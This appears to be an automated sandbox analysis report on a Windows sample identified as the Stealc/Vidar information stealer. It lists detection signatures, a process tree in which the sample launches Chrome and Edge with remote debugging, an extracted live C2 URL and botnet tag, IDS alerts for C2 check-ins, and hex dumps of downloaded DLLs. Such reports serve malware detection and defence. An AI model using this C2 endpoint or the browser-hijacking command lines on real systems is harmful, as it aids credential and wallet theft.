Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543499
MD5:	d001cded98f2a0e02568a66035777e32
SHA1:	268a16ba949addaa5bc68528d55ba68d8343fdd2
SHA256:	62a876a3d8b793c1f9a17c32197ad9dc23b866ffdd6b37583e90be73352be7f2
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 3960 cmdline: "C:\Users\user\Desktop\file.exe" MD5: D001CDED98F2A0E02568A66035777E32)

chrome.exe (PID: 6636 cmdline: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 6108 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2320,i,10774180841234704449,9876674559022460149,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7996 cmdline: "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 2948 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2720 --field-trial-handle=2660,i,2276085611420844755,11736436464237843795,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7300 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5076 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2240 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8376 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6564 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8436 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=6608 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8720 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8732 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7344 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 8616 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=4188 --field-trial-handle=2128,i,121182028962982601,14336481790819831583,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Threatname: Vidar

{"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2155476235.0000000005560000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2666421532.00000000018CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2664752549.0000000000B21000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.2666421532.0000000001947000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3960	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 3960	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 3960	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 3960	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 3 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.b20000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 3960, ParentProcessName: file.exe, ProcessCommandLine: "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 6636, ProcessName: chrome.exe

Suricata Signatures

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:11.674828+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:11.663687+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:11.962949+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:13.452975+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:11.992524+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49710	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:11.373771+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49710	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T02:07:14.089401+0100	2803304	3	Unknown Traffic	192.168.2.6	49710	185.215.113.206	80	TCP
2024-10-28T02:07:46.041772+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:47.401047+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:48.261891+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:48.961075+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:50.872441+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP
2024-10-28T02:07:51.363374+0100	2803304	3	Unknown Traffic	192.168.2.6	49967	185.215.113.206	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: 0.2.file.exe.b20000.0.unpack	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}
Source: 0.2.file.exe.b20000.0.unpack	Malware Configuration Extractor: Vidar {"C2 url": "http://185.215.113.206/6c4adf523b719729.php", "Botnet": "tale"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA36C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,

0_2_6CA36C80

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49776 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.60:443 -> 192.168.2.6:49788 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.6:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:49845 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50012 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.202.163.200:443 -> 192.168.2.6:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50112 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.113.110.67:443 -> 192.168.2.6:50119 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: my_library.pdbU source: file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: my_library.pdb source: file.exe, file.exe, 00000000.00000003.2155476235.000000000558B000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.2701244031.000000006CD21000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.2664752549.0000000000B4C000.00000040.00000001.01000000.00000003.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2700491924.000000006CC5F000.00000002.00000001.01000000.00000013.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2700052419.000000006CA9D000.00000002.00000001.01000000.00000014.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49710 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.6:49710
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49710 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php
Source: Malware configuration extractor	URLs: http://185.215.113.206/6c4adf523b719729.php

Source: global traffic

TCP traffic: 192.168.2.6:49852 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:13 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 28 Oct 2024 01:07:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
